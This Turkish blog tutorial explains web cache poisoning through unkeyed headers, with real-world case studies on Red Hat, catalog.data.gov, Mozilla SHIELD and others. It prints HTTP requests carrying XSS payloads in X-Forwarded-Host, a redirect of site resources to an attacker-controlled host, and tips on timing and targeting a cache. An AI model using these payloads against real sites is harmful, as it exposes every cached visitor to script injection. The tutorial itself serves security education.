<p>Aşağıdaki gibi spesifik bir URL adresine GET isteğinde bulunulduğunu farz edelim.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/istek-bilesenleri.png" alt="istek-bilesenleri" class="responsive img-zoomable" /></p>

<p>Önbellek sunucusu da önbelleğe aldığı verilere tekrar erişmek üzere her birine benzersiz bir anahtar tanımlamak durumunda. Anahtar tanımlamak için da <span style="color:red">Method</span>, <span style="color:green">URL</span>, <span style="color:DodgerBlue">Protocol Sürümü</span> ve <span style="color:brown">Host</span> başlığını kullanıp bir çeşit algoritma ile benzersiz bir key yani anahtar üretebilir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/cache-key-uretimi.png" alt="cache-key-uretimi" class="responsive img-zoomable" /></p>

<p>Burada benim verdiğim örnek yalnızca “<strong>key</strong>” yani “<strong>anahtar</strong>” kavramını basit şekilde açıklamak için. Önbellek mekanizması, benzersiz anahtar üretimi için HTTP isteğindeki hangi kısımları dikkate alacağına kendisi(nasıl konfigüre edildiyse) karar verir. Buradaki örneğimizde HTTP isteğinde yer alan “<span style="color:red">Method</span>, <span style="color:green">URL</span>, <span style="color:DodgerBlue">Protocol Sürümü</span> ve <span style="color:brown">Host</span> başlığı” bilgileri “<strong>key</strong>” üretimi için kullanılan “<strong>cache key</strong>” değerleridir. Örneğin yalnızca URL üzerinden cache key üreten önbellek mekanizmasında; sadece URL dikkate alınır ve yalnızca bu URL’in bulunduğu HTTP istekleri bu önbelleğe erişebilir.</p>

<p>Bu durumun daha net anlaşılması için cache hizmeti de sunan bir CDN olan cloudflare üzerinde yer alan “cache rules” sekmesinden, önbellekleme için gerekli olan şartların ne kadar çeşitli olabileceğine bizzat kendiniz de göz atabilirsiniz.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/cdn-cache-kurallari.png" alt="cdn-cache-kurallari" class="responsive img-zoomable" /></p>

<p>Gördüğünüz gibi gelen istekteki pek çok farklı kriteri “<strong>and</strong>” “<strong>or</strong>” yani “<strong>ve</strong>” “<strong>veya</strong>” koşullarıyla birbirine bağlayarak, önbellek oluşturma kuralını istediğimiz gibi düzenleyebiliyoruz. Pek çok önbellek mekanizması da benzer şekilde kuralları özelleştirme noktasında bu şekilde imkanlar tanıyor.</p>

<p>Önbelleğe alma kavramı basit gözükebilir ancak bazı durumlarda risk teşkil edebiliyor. Önbellek mekanizması bir kaynak için bir istek aldığında, bu kaynağın bir kopyasının önceden kaydedilmiş olup olmadığına ve bununla yanıt verip veremeyeceğine veya isteği uygulama sunucusuna iletmesi gerekip gerekmediğine karar vermesi gerekiyor.</p>

<p>Kullanıcılardan gelen iki isteğin aynı kaynağı talep edip etmediğini belirlemek çoğunlukla zordur. Örneğin toplam bayt uzunluğunun aynı olması durumu geçersizdir çünkü bayt uzunluğunu etkileyebilecek <code class="language-plaintext highlighter-rouge">User-Agent</code> gibi kullanıcı tarafına özel olarak değişen başlıklar mevcuttur. Kullanıcılar aynı tarayıcıyı kullanıyor olsa bile sürüm farkından dolayı toplam bayt birbirine eşit olmayabilir.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /blog/post.php?mobile<span class="o">=</span>1 HTTP/1.1
Host: example.com
<span style="color:DodgerBlue">User-Agent: Mozilla/5.0 … Firefox/57.0</span>
Accept: <span class="k">*</span>/<span class="k">*</span><span class="p">;</span> <span class="nv">q</span><span class="o">=</span>0.01
Accept-Language: en-US,en<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.5
Accept-Encoding: <span class="nb">gzip</span>, deflate
Referer: https://google.com/
Cookie: <span class="nv">jessionid</span><span class="o">=</span>xyz<span class="p">;</span>
Connection: close
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /blog/post.php?mobile<span class="o">=</span>1 HTTP/1.1
Host: example.com
<span style="color:DodgerBlue">User-Agent: Mozilla/5.0 … Firefox/58.112</span>
Accept: <span class="k">*</span>/<span class="k">*</span><span class="p">;</span> <span class="nv">q</span><span class="o">=</span>0.01
Accept-Language: en-US,en<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.5
Accept-Encoding: <span class="nb">gzip</span>, deflate
Referer: https://google.com/
Cookie: <span class="nv">jessionid</span><span class="o">=</span>xyz<span class="p">;</span>
Connection: close
</code></pre></div></div>

<p>Bu sebeple her iki kullanıcının da aynı kaynağa erişmek istediğini toplam bayt üzerinden tayin etmeye çalışmak sağlıklı değildir.</p>

<p>Zaten bu sebeple biraz önce bahsettiğimiz gibi önbellek mekanizmaları bu sorunu çözmek üzere, gelen HTTP isteğinde yer alan bazı belirli bileşenleri önbellek anahtarı üretmek üzere kabul edip işler. <strong>Yani HTTP isteğindeki her veri değil, yalnızca bazı bileşenler dikkate alınır.</strong>  Anlatımlar sırasında anahtar üretimi için kullanılan HTTP bileşenlerini mavi renkle özellikle belirtiyor olacağım. Yukarıdaki bir önceki örnek çıktılarına bakacak olursanız mavi renkle işaretlenmiş kısımlar aslında önbellek mekanizması için önbellek anahtarı oluşturmak adına dikkate alınan kısımlardır. Bunlar dışındaki HTTP istek içeriğindeki tüm bileşenler “<strong>unkeyed input</strong>”, yani anahtarlanmamış ya da daha doğrusu anahtarlama için kullanılmayan girdilerdir. Bu kavramlar önemli olduğu için iyi anlaşılmaları önemli.</p>

<p>Yani örneğin <strong>URL</strong> ve <strong>Host</strong> başlığına göre anahtar oluşturan bir önbellek mekanizması için aşağıdaki iki HTTP isteği de aynı kabul edilir. Dolayısıyla ilk istek için üretilmiş olan yanıt önbellek üzerinden ikinci isteğe de dönülür.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET <span style="color:DodgerBlue">/blog/post.php?mobile<span class="o">=</span>1</span> HTTP/1.1
<span style="color:DodgerBlue">Host: example.com</span>
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: <span style="color:red"><span class="nv">language</span><span class="o">=</span><span class="nb">tr</span></span><span class="p">;</span>
Connection: close
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET <span style="color:DodgerBlue">/blog/post.php?mobile<span class="o">=</span>1</span> HTTP/1.1
<span style="color:DodgerBlue">Host: example.com</span>
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: <span style="color:red"><span class="nv">language</span><span class="o">=</span>en</span><span class="p">;</span>
Connection: close
</code></pre></div></div>

<p>Eğer dikkat edecek olursanız, her iki istekteki <span style="color:red">dil farklı olduğu için</span> ikinci isteğe önbellekten döndürülen yanıt aslında kullanıcı için yanlış dildedir. Bu durumun nedeni; “anahtarlama” için kullanılmayan tüm diğer kısımların, önbellekten yanıt verilen tüm kullanıcılara değişmeden iletiliyor olması tabii. Kötü niyetli olanları da dahil!</p>

<p>Aslında teorik olarak Cache mekanizmasındaki anahtar oluşturmak için kullanılması gerekenlerin belirtildiği konfigürasyonlara ek olarak, anahtarlanması istenen tüm ek istek başlıklarını belirtmek için web sunucusu yanıtında ‘<code class="language-plaintext highlighter-rouge">Vary</code>’ başlığı kullanılabilir. Fakat pratikte Cloudflare gibi CDN’ler <code class="language-plaintext highlighter-rouge">Vary</code> başlığını göz ardı edip yalnızca kendi konfigürasyonları dahilinde anahtar oluşturduğu için <code class="language-plaintext highlighter-rouge">Vary</code> başlığı çoğu durumda etkisiz kalabiliyor.</p>

<p>Yine de <code class="language-plaintext highlighter-rouge">Vary</code> başlığını görmezden gelmeyen bir cache mekanizması kullanıldığı durumda; yukarıdaki örnekte dil tercihinin de önbellek anahtarı oluşturulurken dikkate alınması için <code class="language-plaintext highlighter-rouge">Vary: Cookie</code> şeklinde web sunucusu yanıtı olarak iletilmesi sağlanabilir. Fakat tahmin edebileceğiniz gibi Cookie bilgisinin önbelleğe alınıp diğer kullanıcılara bu önbellekteki yanıtı döndürmek felaket derecede hatalı bir yaklaşım olurdu. Zaten sırf bu ve bunun gibi hatalı konfigürasyonlardan kaçınmak için çoğu cache mekanizması <code class="language-plaintext highlighter-rouge">Vary</code> başlığını görmezden gelebiliyor.</p>

<h1 id="önbellek-zehirlenmesi--cache-poisoning">Önbellek Zehirlenmesi | <strong>Cache Poisoning</strong></h1>

<p>Önbellek zehirlenmesi, zararlı olabilecek yanıtın önbelleğe kaydolmasını sağlayan istek göndermektir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/portswigger-cache-poisoning.png" alt="portswigger-cache-poisoning" class="responsive img-zoomable" />
Kaynak:Portswigger</p>

<p>Bu yazıda önbellek anahtarı için kullanılmayan HTTP başlıkları gibi girişleri(unkeyed input) kullanarak önbellek zehirlemesini ele alacağız. Tabii ki önbellek zehirlemesi için tek yaklaşım bu değil. HTTP Response Splitting ve <a href="https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn">Request Smuggling</a> yaklaşımları da kullanılabilir. Ayrıca web önbellek mekanizmasının “<a href="https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html">Web Cache Deception</a>” ismi verilen başka bir zafiyete yol açtığını da belirtmek isterim. Lakin “<a href="https://linuxdersleri.net/web-cache-deception">Web Cache Deception</a> ” ile önbellek zehirlenmesini karıştırmayın lütfen. İkisi farklı yaklaşımlar. Tek ortak noktası web önbelleklerinin neden olmasıdır.</p>

<h2 id="metodoloji">Metodoloji</h2>

<p>Cache poisoning zafiyetleri için aşağıdaki metodolojiyi kullanıyor olacağız:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/portswigger-metodoloji.png" alt="portswigger-metodoloji" class="responsive img-zoomable" />
Kaynak:Portswigger</p>

<p>İlk adım olarak unkeyed input yani anahtar olarak kabul edilmeyen girdileri bulmamız gerekiyor. Bu işi manuel olarak tek tek elle yapmak fevkalade zor bu sebeple Param Miner isimli burp eklentisini kullanarak header/cookie isimlerini otomatik olarak test edip, yanıtlar üzerindeki etkilerine bakıyor olacağız.</p>

<p>Anahtarlanmamış bir giriş bulduktan sonra, sonraki adımlar onunla ne kadar hasar verebileceğinizi değerlendirmek ve ardından onu önbellekte saklamaya çalışmaktır. Eğer önbelleğe alınmasını sağlayamazsanız, önbelleğin nasıl çalıştığını daha iyi anlamanız ve önbelleğe alınabilir bir hedef sayfayı bulmanız gerekiyor. Bir sayfanın önbelleğe alınıp alınmayacağı, dosya uzantısı, içerik türü, dizin adresi, durum kodu ve yanıt başlıkları gibi çeşitli faktörlere bağlı olabilir.</p>

<p>Önbellekten dönülen aynı yanıtlar dolayısıyla, bulmaya çalıştığımız diğer anahtar olarak kullanılmayan girişler maskelenebilir. Yani başka anahtarsız girişler olsa bile önbellek dolayısıyla bunları fark etmeyebiliriz. Bu sebeple her bir isteğin benzersiz olmasını sağlamak için önbellek bozucu rastgele bir değeri her denemede göndermemiz gerekir. Eğer keşif için param miner kullanıyorsanız parametre olarak $randomplz ekleyerek her isteğin benzeriz bir önbellek anahtarına sahip olmasını sağlayabilirsiniz. Ayrıca bu sayede canlı ortamda çalışan bir websitesini, diğer kullanıcılara zarar vermeden önbelleğe alma davranışları açısından kolayca test etmeniz de mümkün olur.</p>

<h2 id="gerçek-dünyadan-vakalar">Gerçek Dünyadan Vakalar</h2>

<h3 id="basit-zehirleme">Basit Zehirleme</h3>

<p>Param Miner, Red Hat’in ana sayfasında anahtar olarak kullanılmayan bir girdi buldu.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en?cb<span class="o">=</span>1 HTTP/1.1
Host: www.redhat.com
<span style="color:DodgerBlue">X-Forwarded-Host: canary</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
&lt;meta <span class="nv">property</span><span class="o">=</span><span class="s2">"og:image"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"https://<span style="color:DodgerBlue">canary</span>/cms/social.png"</span> /&gt;
</code></pre></div></div>

<p>Yanıta baktığımızda <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığının, Open Graph URL meta etiketi oluşturmada kullanıldığını görebiliyoruz.</p>

<p class="mavi"><strong>ℹ️ Not:</strong> <strong><em>Open Graph</em></strong>&nbsp;Protokolü,&nbsp;<strong><em>URL</em></strong>‘lerin sosyal medyada paylaşıldığında nasıl görüntüleneceğini kontrol eden bir çözümdür.</p>

<p><code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığının yanıta yansıdığını gördükten sonra ilk adım bunu nasıl kötüye kullanabileceğimizi keşfetmekte. Örneğin XSS payload’ı ekleyip deneyebiliriz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en?<span style="color:DodgerBlue">onbellekdenemesi<span class="o">=</span>1</span> HTTP/1.1
Host: www.redhat.com
<span style="color:DodgerBlue">X-Forwarded-Host: a.<span class="s2">"&gt;&lt;script&gt;alert(1)&lt;/script&gt;
</span></span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
&lt;meta <span class="nv">property</span><span class="o">=</span><span class="s2">"og:image"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"https://a."</span><span style="color:DodgerBlue"><span class="o">&gt;</span>&lt;script&gt;alert<span class="o">(</span>1<span class="o">)</span>&lt;/script&gt;</span><span class="s2">"/&gt; 
</span></code></pre></div></div>

<p>Evet istediğimiz xss yükünü yanıta ekleyebildik. Şimdi bu yanıtın diğer kullanıcılar gösterilebilmesi için önbelleğe alındığından emin olmamız gerek. Bu noktada yanıtta yer alan <code class="language-plaintext highlighter-rouge">Cache-Control: no-cache</code> başlığının bizi vazgeçirmesine izin vermemeliyiz. Zira bir saldırı girişiminde bulunmak, işe yaramayacağını varsaymaktan her zaman daha iyidir. Önbelleğe alınma durumunu, isteği kötü amaçlı başlık olmadan yeniden göndererek ve ardından URL’yi doğrudan farklı bir makinedeki(mümkünse farklı bir public ip üzerinden) tarayıcıdan açarak kesin olarak doğrulayabilirsiniz:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en?<span style="color:DodgerBlue">onbellekdenemesi<span class="o">=</span>1</span> HTTP/1.1
Host: www.redhat.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
&lt;meta <span class="nv">property</span><span class="o">=</span><span class="s2">"og:image"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"https://a."</span><span style="color:DodgerBlue"><span class="o">&gt;</span>&lt;script&gt;alert<span class="o">(</span>1<span class="o">)</span>&lt;/script&gt;</span><span class="s2">"/&gt; 
</span></code></pre></div></div>

<p>Görüldüğü gibi farklı bir cihazdan aynı link ziyaret edildiğinde, istekte herhangi bir ek başlık olmamasına rağmen xss yükünün bulunduğu yanıtın önbellekten döndürüldüğünü teyit etmiş olduk.</p>

<p>Kısa bir DNS sorgusu ile www.redhat.com’un aslında <a href="http://www.redhat.com.edgekey.net">www.redhat.com.edgekey.net</a> adresinin CNAME’i olarak tutulduğunu, dolayısıyla Akamai’nin CDN hizmetini kullanarak cache sunduğunu da teyit edebiliyoruz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$$</span> nslookup.exe www.redhat.com
Server:  one.one.one.one
Address:  1.1.1.1

Non-authoritative answer:
Name:    e3396.dscx.akamaiedge.net
Addresses:  2a02:26f0:fa00:1a7::d44
          2a02:26f0:fa00:1af::d44
          2.20.169.214
Aliases:  www.redhat.com
          ds-www.redhat.com.edgekey.net
          ds-www.redhat.com.edgekey.net.globalredir.akadns.net
</code></pre></div></div>

<h3 id="gizli-zehirlenme">Gizli Zehirlenme</h3>

<p>Önceki örnekte sitenin gerçek ziyaretçilerini etkilememek için https://www.redhat.com/en?<span style="color:DodgerBlue">onbellekdenemesi=1</span> adresini zehirleyerek zafiyetin varlığını kanıtladık. Eğer doğrudan ana sayfayı zehirlemek istiyorsak, önbelleğe alınan yanıtın süresi dolduktan hemen sonra bizim zararlı yükü barındıran isteği gönderip bunun önbelleğe alınmasını sağlamamız gerekiyor.</p>

<p>Bunu kaba yoldan veya daha stratejik biçimde gerçekleştirebiliriz. Kaba yol olarak burp intruder veya benzeri bir script yazarak sürekli olarak aynı isteği gönderip, zamanı geldiğinde bu isteğin önbelleğe alınmasını sağlayabiliriz. Fakat bu çoğu durumda rate limit dolayısıyla şüpheli işlem kısıtlamalarına takılacaktır. Bunun yerine cache geçerlilik mekanizmasının nasıl çalıştığını anlayıp tam zamanında isteği göndermek çok daha zarif bir yaklaşım. Eğer yanıtlarda açıkça önbelleğin geçerlilik süresi belirtilmiyorsa bu tespiti gerçekleştirmek biraz zorlayıcı olabilir.</p>

<p>Yine de pek çok websitesi önbellek geçerlilik süresi hakkında yanıtlarda bilgi sunabiliyor.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: unity3d.com
<span style="color:DodgerBlue">X-Host: portswigger-labs.net</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age<span class="o">=</span>1800
…
&lt;script <span class="nv">src</span><span class="o">=</span><span class="s2">"https://<span style="color:DodgerBlue">portswigger-labs.net</span>/sites/files/foo.js"</span><span class="o">&gt;</span>&lt;/script&gt;
</code></pre></div></div>

<p>Burada, <code class="language-plaintext highlighter-rouge">X-Host</code> başlığının anahtar olarak kullanılmadığı ve yanıtta yansıtıldığını görebiliyoruz. Ayrıca yanıtta yer alan <code class="language-plaintext highlighter-rouge">Cache-Control: max-age=1800</code> değeri sayesinde önbelleğe alınan verilerin ne kadar süreyle önbellekte tutulduğu konusunda da bilgi edinebiliyoruz. Birlikte ele alındığında bunlar bize, yanıtımızın önbelleğe alınmasını sağlamak için veri yükümüzü göndermemiz gereken tam saniyeyi söyler.</p>

<h3 id="seçici-hedef-odaklı-zehirleme">Seçici-Hedef Odaklı Zehirleme</h3>

<p>HTTP başlıkları cache mekanizmaları konusunda pek çok yararlı bilgi sunabiliyor. Aşağıdaki örnek, Fastly kullanan popüler bir websitesine ait.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
<span style="color:DodgerBlue">X-Forwarded-Host: a<span class="s2">"&gt;&lt;iframe onload=alert(1)&gt;</span>
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
&lt;<span class="nb">link </span><span class="nv">rel</span><span class="o">=</span><span class="s2">"canonical"</span> <span class="nv">href</span><span class="o">=</span><span class="s2">"https://a"</span><span style="color:DodgerBlue"><span class="o">&gt;</span>a&lt;iframe <span class="nv">onload</span><span class="o">=</span>alert<span class="o">(</span>1<span class="o">)&gt;</span></span>
&lt;/iframe&gt; 
</code></pre></div></div>

<p>Bu örnek başlangıçta ilk örnekle neredeyse aynı görünüyor. Ancak <code class="language-plaintext highlighter-rouge">Vary</code> başlığı bize <code class="language-plaintext highlighter-rouge">User-Agent</code>’in önbellek anahtarının bir parçası olabileceğini belirtiyor ve manuel testler bunu doğruluyor. Bu durum, Firefox 60 kullandığımızı iddia ettiğimiz için, istismarımızın yalnızca diğer Firefox 60 kullanıcılarına sunulacağı anlamına geliyor. Dolayısıyla hedef odaklı seçici bir saldırı için bu tür anahtar değerleri kullanılabilir.</p>

<h3 id="dom-zehirleme">DOM Zehirleme</h3>

<p>Anahtar olarak kullanılmayan girdilere XSS yükleri ekleyerek zafiyet oluşturmak her zaman mümkün olmayabilir.</p>

<p>Örneğin aşağıdaki istek ve yanıt üzerinden ilerleyecek olursak;</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /dataset HTTP/1.1
Host: catalog.data.gov
<span style="color:DodgerBlue">X-Forwarded-Host: canary</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 
…
&lt;body data-site-root<span class="o">=</span><span class="s2">"https://<span style="color:DodgerBlue">canary</span>/"</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Çıktıdan anlaşıldığı üzere data-site-root değerini kontrol edebiliyoruz. Ancak XSS elde etmek için tırnak dışına çıkamıyoruz. Hatta bu özelliğin tam olarak ne için kullanıldığını da belli değil. Öğrenmek için Burp’ta tüm isteklere bir <code class="language-plaintext highlighter-rouge">X-Forwarded-Host: id-burpcollaborator.net</code> başlığı ekleyecek bir bul-değiştir kuralı tanımlayıp sitede gezinebiliriz. Bu gezinti neticesinde bazı sayfalar yüklendiğinde sunucuya JavaScript tarafından oluşturulan aşağıdaki istek gönderildi.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
<span class="o">{}</span>
</code></pre></div></div>

<p>Bu <strong>/api/i18n/en</strong> yolu, web sitesinde bir yerde, bazı lokalleştirme verilerinin nereden yükleneceğine karar vermek için data-site-root özelliğini kullanan JavaScript kodunun bulunduğunu gösteriyor. https://catalog.data.gov/api/i18n/en adresini ziyaret ettiğimizde yalnızca boş bir JSON yanıtı mevcut. Neyse ki ‘<strong>en</strong>’ değerini ‘<strong>es</strong>’ olarak değiştirdiğimizde bir ipucu elde ediyoruz:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
<span class="o">{</span><span class="s2">"Show more"</span>:<span class="s2">"Mostrar más"</span><span class="o">}</span>
</code></pre></div></div>

<p>Buradaki dosya, cümleleri kullanıcının seçtiği dile çevirmek için bir harita içeriyor. Kendi çeviri dosyamızı oluşturarak ve kullanıcıları buna yönlendirmek için önbellek zehirlenmesini kullanarak, çeviriyi kötüye kullanabiliriz. Bunun için kendi websitemiz üzerinde örneğin linuxdersleri.net<strong>/api/i18n/en</strong> adresinde <code class="language-plaintext highlighter-rouge">{"Show more":"&lt;svg onload=alert(1)&gt;"}</code> gibi bir json yanıtı sunabiliriz. Bu sayede biz kendi websitemizi <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığı ile önbelleğe kaydettiğimizde bizim websitemizdeki /api/i18n/en adresine istek yapılıp, “show more” ifadesinin yer aldığı her yere XSS payload’ı konularak zafiyet tetiklenmiş edilmiş olacak.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: linuxdersleri.net

HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 
…
&lt;body data-site-root<span class="o">=</span><span class="s2">"https://linuxdersleri.net/"</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Bu istek önbelleğe alındığında, arkaplanda otomatik olarak <a href="http://linuxdersleri.net/api/i18n/en">linuxdersleri.net/api/i18n/en</a> adresindeki çeviri verisi çekilip ilgili ifade yerini alıyor olacak.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET  /api/i18n/en HTTP/1.1
Host: linuxdersleri.net
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
...
<span class="o">{</span><span class="s2">"Show more"</span>:<span class="s2">"&lt;svg onload=alert(1)&gt;"</span><span class="o">}</span>
</code></pre></div></div>

<p>Dolayısıyla “Show more” ifadesinin yer aldığı tüm sayfalarda kullanıcılar XSS’e maruz kalacak.</p>

<h3 id="mozilla-shieldın-ele-geçirilmesi--hijacking-mozilla-shield">Mozilla SHIELD’ın ele geçirilmesi | <strong>Hijacking Mozilla SHIELD</strong></h3>

<p>James Kettle, <a href="http://catalog.data.gov/">catalog.data.gov</a> üzerinde gerçekleştirdiği araştırma esnasında uyguladığı <code class="language-plaintext highlighter-rouge">XFH</code> başlığı için bul-değiştir kuralı sayesinde Mozilla Shield mekanizmasında da bir zafiyet keşfetmiş. Proxy üzerinde istekte yer alan tamamı küçük harfli <code class="language-plaintext highlighter-rouge">origin: null</code> başlığı dikkatini çekmiş.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net
</code></pre></div></div>

<p>Peki bu <code class="language-plaintext highlighter-rouge">origin: null</code> ne anlama geliyor ve ne zaman kullanılır diye kısaca açıklayacak olursak:</p>

<ol>
  <li><strong>Yönlendirmeler</strong>: Bir sayfa başka bir sayfaya yönlendirildiğinde, tarayıcı bazen yönlendirme sürecinde kaynak bilgisini kaybeder ve bu durumda “<strong>null</strong>” kökeni kullanır.</li>
  <li><strong>Yerel HTML Dosyaları</strong>: Yerel olarak açılan HTML dosyaları, internete bağlı olmadıkları için bir kökene sahip değildirler ve bu nedenle “<strong>null</strong>” kökeni kullanırlar.</li>
</ol>

<hr />

<p>Bu bilgi ışığında araştırmacı; proxy loglarını incelerken, Firefox’un pazarlama ve araştırma amacıyla uzantıları sessizce yüklemek için SHIELD sisteminin bir parçası olarak bir “recipes” yani ‘tarifler’ listesi getirmeye çalıştığını fark etmiş. <code class="language-plaintext highlighter-rouge">X-Forwarde-Host</code> başlığı da bu sistemi kandırıp “tarifleri” almak için Firefox’u araştırmacının kendi websitesine yönlendirdiğini görmüş.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
<span class="o">{</span>
  <span class="s2">"action-list"</span>: <span class="s2">"https://xyz.burpcollaborator.net/api/v1/action/"</span>,
  <span class="s2">"action-signed"</span>: <span class="s2">"https://xyz.burpcollaborator.net/api/v1/action/signed/"</span>,
  <span class="s2">"recipe-list"</span>: <span class="s2">"https://xyz.burpcollaborator.net/api/v1/recipe/"</span>,
  <span class="s2">"recipe-signed"</span>: <span class="s2">"https://xyz.burpcollaborator.net/api/v1/recipe/signed/"</span>,
   …
<span class="o">}</span>
</code></pre></div></div>

<p>Tarif yönergesi yani recipe içeriği de aşağıdaki gibi görünüyormuş:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[{</span>
  <span class="s2">"id"</span>: 403,
  <span class="s2">"last_updated"</span>: <span class="s2">"2017-12-15T02:05:13.006390Z"</span>,
  <span class="s2">"name"</span>: <span class="s2">"Looking Glass (take 2)"</span>,
  <span class="s2">"action"</span>: <span class="s2">"opt-out-study"</span>,
  <span class="s2">"addonUrl"</span>: <span class="s2">"https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi"</span>,
  <span class="s2">"filter_expression"</span>: <span class="s2">"normandy.country in  ['US', 'CA']</span><span class="se">\n</span><span class="s2"> &amp;&amp; normandy.version &gt;= '57.0'</span><span class="se">\n</span><span class="s2">)"</span>,
  <span class="s2">"description"</span>: <span class="s2">"MY REALITY IS JUST DIFFERENT THAN YOURS"</span>,
<span class="o">}]</span>
</code></pre></div></div>

<p>Üstelik bu sistem NGINX’in önbellek mekanizmasını kullandığı için bu zararlı yanıtın önbelleğe kaydedilerek diğer tüm Firefox kullanıcılarına sunulması ihtimalini ortaya çıkarmış. Sonuçta Firefox’un on milyonlarca günlük kullanıcısının araştırmacının web sitesinden tarifler alacağı bir zafiyet oluşmuş.</p>

<p>Tarifler imzalı olduğu için doğrudan kullanıcılara zararlı olabilecek eklentileri kurup çalıştırtmak mümkün olmasa da tüm kullanıcıları istediği adrese yönlendirmenin oluşturabileceği DDoS saldırısı mümkündür. Ayrıca bulunacak olası bir memory corruption zafiyeti ile çok daha tehlikeli zafiyetlerin zincirleme sonucu ortaya çıkması da olasılık dahilinde.</p>

<h3 id="yönlendirme-zehirlemesi--route-poisoning">Yönlendirme Zehirlemesi | <strong>Route poisoning</strong></h3>

<p>Bazı uygulamalar URL oluşturmak için HTTP başlıklarını hatalı şekilde kullanmanın ötesinde, bunları dahili istek yönlendirme için de kullanma hatasına düşebiliyor.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: www.goodhire.com
<span style="color:DodgerBlue">X-Forwarded-Server: test-degeri</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
&lt;title&gt;HubSpot - Page not found&lt;/title&gt;
&lt;p&gt;The domain <span style="color:DodgerBlue">test-degeri</span> does not exist <span class="k">in </span>our system.&lt;/p&gt;
</code></pre></div></div>

